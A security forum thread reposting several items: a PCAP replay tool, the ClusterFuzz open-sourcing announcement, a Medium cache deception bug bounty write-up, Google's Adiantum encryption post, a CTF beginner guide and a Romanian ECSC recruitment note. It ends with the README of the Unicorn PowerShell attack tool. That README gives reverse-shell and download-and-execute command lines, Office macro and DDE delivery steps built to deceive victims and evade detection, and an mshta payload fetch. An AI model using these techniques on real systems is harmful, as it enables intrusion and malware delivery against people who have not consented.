Nytro

httpreplay Replay HTTP and HTTPS requests from a PCAP based on TLS Master Secrets. The TLS Master Secrets can be extracted through mitmproxy, Cuckoo Sandbox, some browsers, and probably some other tools as well. Sursa: https://github.com/hatching/httpreplay

Open sourcing ClusterFuzz Thursday, February 7, 2019 Fuzzing is an automated method for detecting bugs in software that works by feeding unexpected inputs to a target program. It is effective at finding memory corruption bugs, which often have serious security implications. Manually finding these issues is both difficult and time consuming, and bugs often slip through despite rigorous code review practices. For software projects written in an unsafe language such as C or C++, fuzzing is a crucial part of ensuring their security and stability. In order for fuzzing to be truly effective, it must be continuous, done at scale, and integrated into the development process of a software project. To provide these features for Chrome, we wrote ClusterFuzz, a fuzzing infrastructure running on over 25,000 cores. Two years ago, we began offering ClusterFuzz as a free service to open source projects through OSS-Fuzz. Today, we’re announcing that ClusterFuzz is now open source and available for anyone to use. We developed ClusterFuzz over eight years to fit seamlessly into developer workflows, and to make it dead simple to find bugs and get them fixed. ClusterFuzz provides end-to-end automation, from bug detection, to triage (accurate deduplication, bisection), to bug reporting, and finally to automatic closure of bug reports. ClusterFuzz has found more than 16,000 bugs in Chrome and more than 11,000 bugs in over 160 open source projects integrated with OSS-Fuzz. It is an integral part of the development process of Chrome and many other open source projects. ClusterFuzz is often able to detect bugs hours after they are introduced and verify the fix within a day. Check out our GitHub repository. You can try ClusterFuzz locally by following these instructions. In production, ClusterFuzz depends on some key Google Cloud Platform services, but you can use your own compute cluster. We welcome your contributions and look forward to any suggestions to help improve and extend this infrastructure. Through open sourcing ClusterFuzz, we hope to encourage all software developers to integrate fuzzing into their workflows. By Abhishek Arya, Oliver Chang, Max Moroz, Martin Barbella and Jonathan Metzman, ClusterFuzz team Sursa: https://opensource.googleblog.com/2019/02/open-sourcing-clusterfuzz.html

Cache Deception: How I discovered a vulnerability in Medium and helped them fix it Yuval Shprinz Feb 6 I drew that masterpiece myself In my previous post, I tried to demonstrate how powerful and cool reverse engineering Android apps can be. I did this by showing how to modify Medium’s app so all membership-required stories in it would be available for free. Well, there was a bit more to the story :) While working towards my desired goal, I found a large collection of API endpoints that Medium declared in their code, which exposed a neat Cache Deception vulnerability after a short iteration on them. I was especially excited about that find because cache-based attacks are exceptionally awesome, and it could have been a great addition to my story. Unfortunately, it took Medium three months and a couple of reminders to respond, so I had to wait with the public disclosure for a bit. In this post, I will try to explain intuitively what Cache Deception is, describe the bug at Medium, and reference two outstanding articles about cache-based attacks. Cache Deception Web browsers cache servers’ static responses so they won’t need to request them again — saving both time and bandwidth. In a similar principle, servers and CDNs (Content delivery networks, Cloudflare for example) cache responses too (their own responses), so they won’t need to waste time processing them again. Instead of passing to the server a request that the CDN already knows its response to (i.e. a static image), it can return a response immediately to the client and reduce both server load and response time. When servers cache static responses, everyone benefits from it. But what happens when a server caches a non-static response that contains some sensitive information? The server will start serving the cached response to everyone from now on, hence making any sensitive information in it public! So that’s basically what Cache Deception is — making servers cache sensitive data, by exploiting badly configured caching rules. After the sensitive data is cached, an attacker can come back to hoard it, for example. Caching User Profiles Medium uses the library Retrofit to turn their HTTP APIs into Java interfaces for their Android app, so basically every endpoint lies nicely in their code with all of its available parameters specified. I extracted all of them to a list that ended up being about 900 endpoints. Some extracted endpoints That list was a real treasure, so I couldn’t stop myself from spending some time iterating it. Among other things, I looked for URLs that ended with user controlled input, because there is a common miss-configuration of caching services to cache every resource path that looks like a file. Remember, our goal is to find endpoints that both contain sensitive information and are cached by Medium’s servers. So, finding an API endpoint that’s being cached would be great. As it turned out, Medium indeed cached paths that looked like files by default, but only for resources that were right under the root directory of the site, URLs like https://medium.com/niceImage.png. Fortunately, my beautiful list contained one endpoint that held the above requirements — user profile pages. By setting my username to “yuval.png”, my profile page URL became https://medium.com/@yuval.png, and when someone visited it, its response was cached there for a while (4 hours, then the server dropped it). And that was actually the whole bug, setting usernames to end with a file extension -in order to cause profile pages to be cached. What sensitive information can be extracted from cached responses of visits to my profile page? CSRF tokens. Those are embedded in the returned document. (Cross-Site Request Forgery in simple words) Information about who viewed my profile. The currently logged in user can also be extracted from returned documents. The fact that each cached response was there for 4 hours and blocked other responses from being cached wasn’t a problem, because by using a simple script usernames can be changed repeatedly (and generate new URLs that aren’t cached yet). Note that this bug could have also been used by users that were willing to hide the “block user” option on their own profile page, if they repeatedly entered it (again, using a script). This would work because users don’t have the option to block themselves on their own profile and so others wouldn’t have it either when they receive a cached response that was created for the account owner. Report Timeline I sent Medium my report through their bug bounty program, and here’s the timeline: Aug 24 — Sent my initial report, and received an automatic email which said that Medium would try to get back to me within 48 hours. Sep 14 — Checked with them if something wasn’t clear since they hadn’t responded yet. Nov 1 — Issued another message, saying was fine with me if my report got rejected, and asking for a response so I would know they received it. Nov 20 — Response from Medium! apologizing for the delay and rewarding my bug with $100 and a shirt. I guess it took them a while because Cache Deception isn’t the usual kind of bug people report — but I was just hoping for a quick response asking me for more explanation or something. I assumed no one was reading their inbox. P.S. the bug was rewarded only $100 because Medium’s program is small, not because it’s lame :P Cache Based Attacks — Further Readings Cache-based attacks have been known for a long time, but were considered mostly theoretical until the recent publish of two outstanding works by Omer Gil and James Kettle. If you find the subject interesting, don’t miss these: Web Cache Deception Attack — Omer Gil, Feb 2017 While demonstrating it on PayPal, Omer claims the term Cache Deception for this new and amazing attack vector. Practical Web Cache Poisoning — James Kettle, Aug 2018 Cache Poisoning has been known for years, but by publishing his extensive research James made it practical. Check out his follow up article on the subject “Bypassing Web Cache Poisoning Countermeasures” too. See you next time… Yuval Shprinz Cybersecurity hobbyist, university student, Age of Mythology pro Sursa: https://medium.freecodecamp.org/cache-deception-how-i-discovered-a-vulnerability-in-medium-and-helped-them-fix-it-31cec2a3938b

Introducing Adiantum: Encryption for the Next Billion Users February 7, 2019 Posted by Paul Crowley and Eric Biggers, Android Security & Privacy Team Storage encryption protects your data if your phone falls into someone else's hands. Adiantum is an innovation in cryptography designed to make storage encryption more efficient for devices without cryptographic acceleration, to ensure that all devices can be encrypted. Today, Android offers storage encryption using the Advanced Encryption Standard (AES). Most new Android devices have hardware support for AES via the ARMv8 Cryptography Extensions. However, Android runs on a wide range of devices. This includes not just the latest flagship and mid-range phones, but also entry-level Android Go phones sold primarily in developing countries, along with smart watches and TVs. In order to offer low cost options, device manufacturers sometimes use low-end processors such as the ARM Cortex-A7, which does not have hardware support for AES. On these devices, AES is so slow that it would result in a poor user experience; apps would take much longer to launch, and the device would generally feel much slower. So while storage encryption has been required for most devices since Android 6.0 in 2015, devices with poor AES performance (50 MiB/s and below) are exempt. We've been working to change this because we believe that encryption is for everyone. In HTTPS encryption, this is a solved problem. The ChaCha20 stream cipher is much faster than AES when hardware acceleration is unavailable, while also being extremely secure. It is fast because it exclusively relies on operations that all CPUs natively support: additions, rotations, and XORs. For this reason, in 2014 Google selected ChaCha20 along with the Poly1305 authenticator, which is also fast in software, for a new TLS cipher suite to secure HTTPS internet connections. ChaCha20-Poly1305 has been standardized as RFC7539, and it greatly improves HTTPS performance on devices that lack AES instructions. However, disk and file encryption present a special challenge. Data on storage devices is organized into "sectors" which today are typically 4096 bytes. When the filesystem makes a request to the device to read or write a sector, the encryption layer intercepts that request and converts between plaintext and ciphertext. This means that we must convert between a 4096-byte plaintext and a 4096-byte ciphertext. But to use RFC7539, the ciphertext must be slightly larger than the plaintext; a little space is needed for the cryptographic nonce and message integrity information. There are software techniques for finding places to store this extra information, but they reduce efficiency and can impose significant complexity on filesystem design. Where AES is used, the conventional solution for disk encryption is to use the XTS or CBC-ESSIV modes of operation, which are length-preserving. Currently Android supports AES-128-CBC-ESSIV for full-disk encryption and AES-256-XTS for file-based encryption. However, when AES performance is insufficient there is no widely accepted alternative that has sufficient performance on lower-end ARM processors. To solve this problem, we have designed a new encryption mode called Adiantum. Adiantum allows us to use the ChaCha stream cipher in a length-preserving mode, by adapting ideas from AES-based proposals for length-preserving encryption such as HCTR and HCH. On ARM Cortex-A7, Adiantum encryption and decryption on 4096-byte sectors is about 10.6 cycles per byte, around 5x faster than AES-256-XTS. Unlike modes such as XTS or CBC-ESSIV, Adiantum is a true wide-block mode: changing any bit anywhere in the plaintext will unrecognizably change all of the ciphertext, and vice versa. It works by first hashing almost the entire plaintext using a keyed hash based on Poly1305 and another very fast keyed hashing function called NH. We also hash a value called the "tweak" which is used to ensure that different sectors are encrypted differently. This hash is then used to generate a nonce for the ChaCha encryption. After encryption, we hash again, so that we have the same strength in the decryption direction as the encryption direction. This is arranged in a configuration known as a Feistel network, so that we can decrypt what we've encrypted. A single AES-256 invocation on a 16-byte block is also required, but for 4096-byte inputs this part is not performance-critical. Cryptographic primitives like ChaCha are organized in "rounds", with each round increasing our confidence in security at a cost in speed. To make disk encryption fast enough on the widest range of devices, we've opted to use the 12-round variant of ChaCha rather than the more widely used 20-round variant. Each round vastly increases the difficulty of attack; the 7-round variant was broken in 2008, and though many papers have improved on this attack, no attack on 8 rounds is known today. This ratio of rounds used to rounds broken today is actually better for ChaCha12 than it is for AES-256. Even though Adiantum is very new, we are in a position to have high confidence in its security. In our paper, we prove that it has good security properties, under the assumption that ChaCha12 and AES-256 are secure. This is standard practice in cryptography; from "primitives" like ChaCha and AES, we build "constructions" like XTS, GCM, or Adiantum. Very often we can offer strong arguments but not a proof that the primitives are secure, while we can prove that if the primitives are secure, the constructions we build from them are too. We don't have to make assumptions about NH or the Poly1305 hash function; these are proven to have the cryptographic property ("ε-almost-∆-universality") we rely on. Adiantum is named after the genus of the maidenhair fern, which in the Victorian language of flowers (floriography) represents sincerity and discretion. Additional resources The full details of our design, and the proof of security, are in our paper Adiantum: length-preserving encryption for entry-level processors in IACR Transactions on Symmetric Cryptology; this will be presented at the Fast Software Encryption conference (FSE 2019) in March. Generic and ARM-optimized implementations of Adiantum are available in the Android common kernels v4.9 and higher, and in the mainline Linux kernel v5.0 and higher. Reference code, test vectors, and a benchmarking suite are available at https://github.com/google/adiantum Android device manufacturers can enable Adiantum for either full-disk or file-based encryption on devices with AES performance <= 50 MiB/sec and launching with Android Pie. Where hardware support for AES exists, AES is faster than Adiantum; AES must still be used where its performance is above 50 MiB/s. In Android Q, Adiantum will be part of the Android platform, and we intend to update the Android Compatibility Definition Document (CDD) to require that all new Android devices be encrypted using one of the allowed encryption algorithms. Acknowledgements: This post leveraged contributions from Greg Kaiser and Luke Haviland. Adiantum was designed by Paul Crowley and Eric Biggers, implemented in Android by Eric Biggers and Greg Kaiser, and named by Danielle Roberts. Sursa: https://security.googleblog.com/2019/02/introducing-adiantum-encryption-for.html

Over the past couple of weeks I’ve been doing a lot of CTFs (Capture the Flag) - old and new. And I honestly can’t believe what I’ve been missing out on. I’ve learned so much during this time by just playing the CTFs, reading write-ups, and even watching the solutions on YouTube. This allowed me to realize how much I still don’t know, and allowed me to see where the gaps in my knowledge were. One of the CTFs that was particularly interesting to me was the Google CTF. The reason why I really liked Google’s CTF was because it allowed for both beginners and experts to take part, and even allowed people new to CTF’s to try their hands at some security challenges. I opted to go for the beginner challenges to see where my skill level really was at - and although it was “mostly” easy, there were still some challenges that had me banging my head on the desk and Googling like a mad man. Even though the Google CTF was over and solutions were online, I avoided them at all costs because I wanted to learn the “hard way”. These beginner challenges were presented in a “Quest” style with a scenario similar to a real world penetration test. Such a scenario is awesome for those who want to sharpen their skills, learn something new about CTFs and security, while also allowing them to see a real world value and impact. Now, some of you might be wondering… “How much do I need to know or learn to be able to do a CTF?” or “How hard are CTFs? Truth be told, it depends. Some CTFs can be way more complex than other, such as DEFCON’s CTF and even Google’s CTF can be quite complex and complicated - but not impossible! It solely depends on your area of expertise. There are many CTF teams that have people who specialize in Code Review and Web Apps and can do Web Challenges with their eyes closed, but give them a binary and they won’t know there difference between the EIP and ESP. The same goes for others! Sure, there are people who are the “Jack of All Trades” and can do pretty much anything, but that doesn’t make them an expert in everything. After reading this, you might be asking me - But I’ve never done a CTF before! How do I know if I’m ready to attempt one? Honestly, you’ll never be ready! There will always be something new to learn, something new you have never seen before, or something challenging that pushes the limits of your knowledge, even as an expert! That’s the whole point of CTFs. But, there are resources that can help you get started! Let’s start by explaining what a CTF really is! CTF Time does a good job at explaining the basics, so I’m just going to quote them (with some “minor” editing)! Capture the Flag (CTF) is a special kind of information security competitions. There are three common types of CTFs: Jeopardy, Attack-Defense and mixed. Jeopardy-style CTFs has a couple of questions (tasks) in range of categories. For example, Web, Forensic, Crypto, Binary, PWN or something else. Teams compete against each other and gain points for every solved task. The more points for a task, the more complicated the task. Usually certain tasks appear in chains, and can only be opened after someone on the team solves the previous task. Once the competition is over, the team with the highest amount of points, wins! Attack-defense is another interesting type of competition. Here every team has their own network (or only one host) with vulnerable services. Your team has time for patching and usually has time for developing exploits against these services. Once completed, organizers connects participants of the competition to a single network and the wargame starts! Your goal is to protect your own services for defense points and to hack your opponents for attack points. Some of you might know this CTF if you ever competed in the CCDC. Mixed competitions may contain many possible formats. They might be a mix of challenges with attack/defense. We usually don’t see much of these. Such CTF games often touch on many other aspects of security such as cryptography, steganography, binary analysis, reverse engineering, web and mobile security and more. Good teams generally have strong skills and experience in all these issues, or contain players who are well versed in certain areas. LiveOverflow also has an awesome video explaining CTFs along with examples on each aspect - see below! Overall, CTFs are time games where hackers compete agasint eachother (either in teams or alone) to find bugs and solve puzzles to find “flags” which count for points. The team with the most points at the end of the CTF is the winner! Now that we have a general idea of what a CTF is and what it contains, let’s learn how we can get started in playing CTFs! Once again, LiveOverflow has an amazing video explaining why CTF’s are a great way to learn hacking. This video was a live recording of his FSEC 2017 talk that aimed to “motivate you to play CTFs and showcase various example challenge solutions, to show you stuff you hopefully haven’t seen before and get you inspired to find more interesting vulnerabilities”. There are also a ton of resources online that aim to teach you the basics of Vulnerability Discovery, Binary Exploitation, Forensics, and more, such as the following below: CTF Field Guide CTF Resources Endgame - How To Get Started In CTF CONFidence 2014: On the battlefield with the Dragons – G. Coldwind, M. Jurczyk If You Can Open The Terminal, You Can Capture The Flag: CTF For Everyone So You Want To Be a Pentester? <– Shameless plug because of resources! ? Out of all these resources, I believe that CTF Series: Vulnerable Machines is honestly the BEST resources for CTFs. It’s aim is mostly focused on how to approach Vulnerable VM’s like the ones on VulnHub and Hack The Box, but it still gives you a ton of example and resources on how to find certain vulnerabilities, how to utilized given tools, and how to exploit vulnerabilities. As I said time and time again, learning the basics will drastically help improve your CTF skills. Once you get enough experience you’ll start to notice “patterns” in certain code, binaries, web apps, etc. which will allow you to know if a particular vulnerability exists and how it can be exploited. Another thing that can help you prepare for CTFs is to read write-ups on new bugs and vulnerabilities. A ton of Web CTF challenges are based off of these bugs and vulnerabilities or are a variant of them - so if you can keep up with new findings and understand them, then you’re ahead of the curve. The following links are great places to read about new bugs, and vulnerabilities. They are also a good place to learn how other’s exploited known bugs. HINT: These links can also help you get into Bug Bounty Hunting! Hackerone - Hacktivity Researcher Resources - Bounty Bug Write-ups Orange Tsai Detectify Blog InfoSec Writeups Pentester Land - Bug Bounty Writeups The Daily Swig - Web Security Digest Once we have a decent understanding of a certain field such as Web, Crypto, Binary, etc. it’s time we start reading and watching other people’s writeups. This will allow us to gain an understanding on how certain challenges are solved, and hopefully it will also teach us a few new things. The following links are great places to read and watch CTF solutions: CTF Time - Writeups CTFs Github - Writeups, Resources, and more! Mediunm - CTF Writeups LiverOverflow Youtube Gynvael Coldwind Murmus CTF John Hammond Now that you have the basics skills and know a little more about certain topics it’s time we find a CTF! CTF Time is still one of the best resources for looking at upcoming events that you can participate in. You can go through the events and see what interests you! Once you choose something, follow the instruction to register and you’re done! From there, all you need to do is just wait for the CTF to start, and hack away! Okay, seems easy enough - but then again for a first time it’s still overwhelming! So what can we do to make our first CTF experience a good one? Well, that’s where the Google CTF comes in! As I stated before, the reason why I really liked Google’s CTF was because it allowed for both beginners and experts to take part, and even allowed people new to CTF’s to try their hands at some security challenges without adding too much pressure. The Beginner Quest starts off with a little back story to “lighten” the mood and let the player know that, this is just a game. We aren’t competing for a million dollars, so take it easy and have fun! The story is as follows: Once we read the story, we can start with the challenges. These beginner challenges were presented in a “Quest” style based off the story scenario. The quest has a total of nineteen (19) challenges as shown below in the quest map - with each color representing a different category as follows: Purple: Miscellaneous Green: Exploitation/Buffer Overflows & Reverse Engineering Yellow: Reverse Engineering Blue: Web Exploitation If you click on one of the circles then you will go to the respective challenge. The challenge will contain some information, along with either an attachment or a link. From there, try to solve the challenge and find the flag, which is in the CTF{} format. Submitting the correct flag will complete the challenge. Now notice how some of these challenges are “grayed out”. That’s because these challenges are “chained” to one another, meaning that you need to complete the previous one to be able to open the path to the next challenge. Also notice that Google allows you to make choices on what challenge you want to do. They don’t force you to do all of them to get to the END, but give you the ability to pick and choose another path if something is too hard. Thus, making it easier for you to feel accomplishment and to later come back and learn! Alright, that’s it for now. Hopefully you learned something new today and I sincerely hope that the resources will allow you to learn and explore new topics! The posts following this will detail how I solved the 2018 Google CTF - Beginners Quest, so stay tuned and I hope to see you on the CTF battlefield someday! Updated: February 06, 2019 Jack Halon I like to break into things; both physically and virtually. Sursa: https://jhalon.github.io/2018-google-ctf-beginners-intro/

V-ati inscris? Pentru cei care nu stiu despre ce este vorba: 1. Este un concurs de CTF 2. Participa multe tari din Europa 3. Dupa etapa de calificari se vor alege 20-30 de persoane care vor merge la un bootcamp - Un security training de o saptamana cu multe altele (merita!) 4. Dintre acele persoane se vor alege 10 (aproximativ) care vor reprezenta Romania la ECSC Daca la fotbal nu suntem buni si nationala nu joaca nimic de ani, macar la security sa le demnstram tuturor ca ne pricepem.

unicorn Written by: Dave Kennedy (@HackingDave) Website: https://www.trustedsec.com Magic Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Based on Matthew Graeber's powershell attacks and the powershell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18. Usage is simple, just run Magic Unicorn (ensure Metasploit is installed if using Metasploit methods and in the right path) and magic unicorn will automatically generate a powershell command that you need to simply cut and paste the powershell code into a command line window or through a payload delivery system. Unicorn supports your own shellcode, cobalt strike, and Metasploit. root@rel1k:~/Desktop# python unicorn.py ,/ // ,// ___ /| |// `__/\_ --(/|___/-/ \|\_-\___ __-_`- /-/ \. |\_-___,-\_____--/_)' ) \ \ -_ / __ \( `( __`\| `\__| |\)\ ) /(/| ,._____., ',--//-| \ | ' / / __. \, / /,---| \ / / / _. \ \ `/`_/ _,' | | | | ( ( \ | ,/\'__/'/ | | | \ \`--, `_/_------______/ \( )/ | | \ \_. \, \___/\ | | \_ \ \ \ \ \ \_ \ \ / \ \ \ \._ \__ \_| | \ \ \___ \ \ | \ \__ \__ \ \_ | \ | | \_____ \ ____ | | | \ \__ ---' .__\ | | | \ \__ --- / ) | \ / \ \____/ / ()( \ `---_ /| \__________/(,--__ \_________. | ./ | | \ \ `---_\--, \ \_,./ | | \ \_ ` \ /`---_______-\ \\ / \ \.___,`| / \ \\ \ \ | \_ \| \ ( |: | \ \ \ | / / | ; \ \ \ \ ( `_' \ | \. \ \. \ `__/ | | \ \ \. \ | | \ \ \ \ ( ) \ | \ | | | | \ \ \ I ` ( __; ( _; ('-_'; |___\ \___: \___: aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc= -------------------- Magic Unicorn Attack Vector ----------------------------- Native x86 powershell injection attacks on any Windows platform. Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com) Twitter: @TrustedSec, @HackingDave Credits: Matthew Graeber, Justin Elze, Chris Gates Happy Magic Unicorns. Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt> PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro Macro Example Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta HTA Example Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde CRT Example: python unicorn.py <path_to_payload/exe_encode> crt Custom PS1 Example: python unicorn.py <path to ps1 file> Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500 Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format) Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00) Help Menu: python unicorn.py --help -----POWERSHELL ATTACK INSTRUCTIONS---- Everything is now generated in two files, powershell_attack.txt and unicorn.rc. The text file contains all of the code needed in order to inject the powershell attack into memory. Note you will need a place that supports remote command injection of some sort. Often times this could be through an excel/word doc or through psexec_commands inside of Metasploit, SQLi, etc.. There are so many implications and scenarios to where you can use this attack at. Simply paste the powershell_attack.txt command in any command prompt window or where you have the ability to call the powershell executable and it will give a shell back to you. This attack also supports windows/download_exec for a payload method instead of just Meterpreter payloads. When using the download and exec, simply put python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe and the powershell code will download the payload and execute. Note that you will need to have a listener enabled in order to capture the attack. -----MACRO ATTACK INSTRUCTIONS---- For the macro attack, you will need to go to File, Properties, Ribbons, and select Developer. Once you do that, you will have a developer tab. Create a new macro, call it Auto_Open and paste the generated code into that. This will automatically run. Note that a message will prompt to the user saying that the file is corrupt and automatically close the excel document. THIS IS NORMAL BEHAVIOR! This is tricking the victim to thinking the excel document is corrupted. You should get a shell through powershell injection after that. If you are deploying this against Office365/2016+ versions of Word you need to modify the first line of the output from: Sub Auto_Open() To: Sub AutoOpen() The name of the macro itself must also be "AutoOpen" instead of the legacy "Auto_Open" naming scheme. NOTE: WHEN COPYING AND PASTING THE EXCEL, IF THERE ARE ADDITIONAL SPACES THAT ARE ADDED YOU NEED TO REMOVE THESE AFTER EACH OF THE POWERSHELL CODE SECTIONS UNDER VARIABLE "x" OR A SYNTAX ERROR WILL HAPPEN! -----HTA ATTACK INSTRUCTIONS---- The HTA attack will automatically generate two files, the first the index.html which tells the browser to use Launcher.hta which contains the malicious powershell injection code. All files are exported to the hta_access/ folder and there will be three main files. The first is index.html, second Launcher.hta and the last, the unicorn.rc file. You can run msfconsole -r unicorn.rc to launch the listener for Metasploit. A user must click allow and accept when using the HTA attack in order for the powershell injection to work properly. -----CERUTIL Attack Instruction---- The certutil attack vector was identified by Matthew Graeber (@mattifestation) which allows you to take a binary file, move it into a base64 format and use certutil on the victim machine to convert it back to a binary for you. This should work on virtually any system and allow you to transfer a binary to the victim machine through a fake certificate file. To use this attack, simply place an executable in the path of unicorn and run python unicorn.py <exe_name> crt in order to get the base64 output. Once that's finished, go to decode_attack/ folder which contains the files. The bat file is a command that can be run in a windows machine to convert it back to a binary. -----Custom PS1 Attack Instructions---- This attack method allows you to convert any PowerShell file (.ps1) into an encoded command or macro. Note if choosing the macro option, a large ps1 file may exceed the amount of carriage returns allowed by VBA. You may change the number of characters in each VBA string by passing an integer as a parameter. Examples: python unicorn.py harmless.ps1 python unicorn.py myfile.ps1 macro python unicorn.py muahahaha.ps1 macro 500 The last one will use a 500 character string instead of the default 380, resulting in less carriage returns in VBA. -----DDE Office COM Attack Instructions---- This attack vector will generate the DDEAUTO formulate to place into Word or Excel. The COM object DDEInitilize and DDEExecute allow for formulas to be created directly within Office which causes the ability to gain remote code execution without the need of macros. This attack was documented and full instructions can be found at: https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ In order to use this attack, run the following examples: python unicorn.py dde python unicorn.py windows/meterpreter/reverse_https 192.168.5.5 443 dde Once generated, a powershell_attack.txt will be generated which contains the Office code, and the unicorn.rc file which is the listener component which can be called by msfconsole -r unicorn.rc to handle the listener for the payload. In addition a download.ps1 will be exported as well (explained in the latter section). In order to apply the payload, as an example (from sensepost article): Open Word Insert tab -> Quick Parts -> Field Choose = (Formula) and click ok. Once the field is inserted, you should now see "!Unexpected End of Formula" Right-click the Field, choose "Toggle Field Codes" Paste in the code from Unicorn Save the Word document. Once the office document is opened, you should receive a shell through powershell injection. Note that DDE is limited on char size and we need to use Invoke-Expression (IEX) as the method to download. The DDE attack will attempt to download download.ps1 which is our powershell injection attack since we are limited to size restrictions. You will need to move the download.ps1 to a location that is accessible by the victim machine. This means that you need to host the download.ps1 in an Apache2 directory that it has access to. You may notice that some of the commands use "{ QUOTE" these are ways of masking specific commands which is documented here: http://staaldraad.github.io/2017/10/23/msword-field-codes/. In this case we are changing WindowsPowerShell, powershell.exe, and IEX to avoid detection. Also check out the URL as it has some great methods for not calling DDE at all. -----Import Cobalt Strike Beacon---- This method will import direct Cobalt Strike Beacon shellcode directly from Cobalt Strike. Within Cobalt Strike, export the Cobalt Strike "CS" (C#) export and save it to a file. For example, call the file, cobalt_strike_file.cs. The export code will look something like this: length: 836 bytes */ byte[] buf = new byte[836] { 0xfc, etc Next, for usage: python unicorn.py cobalt_strike_file.cs cs The cs argument tells Unicorn that you want to use the Cobalt strike functionality. The rest is Magic. Next simply copy the powershell command to something you have the ability for remote command execution. NOTE: THE FILE MUST BE EXPORTED IN THE C# (CS) FORMAT WITHIN COBALT STRIKE TO PARSE PROPERLY. There are some caveats with this attack. Note that the payload size will be a little over 14k+ in byte size. That means that from a command line argument perspective if you copy and paste you will hit the 8191 character size restriction (hardcoded into cmd.exe). If you are launching directly from cmd.exe this is an issue, however if you are launching directly from PowerShell or other normal applications this is a non-problem. A couple examples here, wscript.shell and powershell uses USHORT - 65535 / 2 = 32767 size limit: typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING; For this attack if you are launching directly from powershell, VBSCript (WSCRIPT.SHELL), there is no issues. -----Custom Shellcode Generation Method---- This method will allow you to insert your own shellcode into the Unicorn attack. The PowerShell code will increase the stack side of the powershell.exe (through VirtualAlloc) and inject it into memory. Note that in order for this to work, your txt file that you point Unicorn to must be formatted in the following format or it will not work: 0x00,0x00,0x00 and so on. Also note that there is size restrictions. The total length size of the PowerShell command cannot exceed the size of 8191. This is the max command line argument size limit in Windows. Usage: python uniocrn.py shellcode_formatted_properly.txt shellcode Next simply copy the powershell command to something you have the ability for remote command execution. NOTE: THE FILE MUST PROPERLY BE FORMATTED IN A 0x00,0x00,0x00 TYPE FORMAT WITH NOTHING ELSE OTHER THAN YOUR SHELLCODE IN THE TXT FILE. There are some caveats with this attack. Note that if your payload size is large in nature it will not fit in cmd.exe. That means that from a command line argument perspective if you copy and paste you will hit the 8191 character size restriction (hardcoded into cmd.exe). If you are launching directly from cmd.exe this is an issue, however if you are launching directly from PowerShell or other normal applications this is a non-problem. A couple examples here, wscript.shell and powershell uses USHORT - 65535 / 2 = 32767 size limit: typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING; For this attack if you are launching directly from powershell, VBSCript (WSCRIPT.SHELL), there is no issues. -----SettingContent-ms Extension Method---- First, if you haven't had a chance, head over to the awesome SpectreOps blog from Matt Nelson (enigma0x3): https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39 This method uses a specific file type called ".SettingContent-ms" which allows for the ability for both direct loads from browsers (open + command execution) as well as extension type through embedding in office products. This one specifically will focus on extension type settings for command execution within Unicorn's PowerShell attack vector. There are multiple methods supported with this attack vector. Since there is a limited character size with this attack, the method for deployment is an HTA. For a detailed understanding on weaponizing this attack visit: https://www.trustedsec.com/2018/06/weaponizing-settingcontent/ The steps you'll need to do to complete this attack is generate your .SettingContent-ms file from either a standalone or hta. The HTA method supports Metasploit, Cobalt Strike, and direct shellcode attacks. The four methods below on usage: HTA SettingContent-ms Metasploit: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms HTA Example SettingContent-ms: python unicorn.py <cobalt_strike_file.cs cs ms HTA Example SettingContent-ms: python unicorn.py <patth_to_shellcode.txt>: shellcode ms Generate .SettingContent-ms: python unicorn.py ms The first is a Metasploit payload, the second a Cobalt Strike, the third your own shellcode, and the fourth just a blank .SettingContent-ms file. When everything is generated, it will export a file called Standalone_NoASR.SettingContent-ms either in the default root Unicorn directory (if using the standalone file generation) or under the hta_attack/ folder. You will need to edit the Standalone_NoASR.SettingContent-ms file and replace: REPLACECOOLSTUFFHERE With: mshta http://<apache_server_ip_or_dns_name/Launcher.hta. Then move the contents of the hta_attack to /var/www/html. Once the victim either clicks the .SettingContent-ms file, mshta will be called on the victim machine then download the Unicorn HTA file which has the code execution capabilites. Special thanks and kudos to Matt Nelson for the awesome research Also check out: https://www.trustedsec.com/2018/06/weaponizing-settingcontent/ Usage: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms python unicorn.py <cobalt_strike_file.cs cs ms python unicorn.py <patth_to_shellcode.txt>: shellcode ms python unicorn.py ms Sursa: https://github.com/trustedsec/unicorn

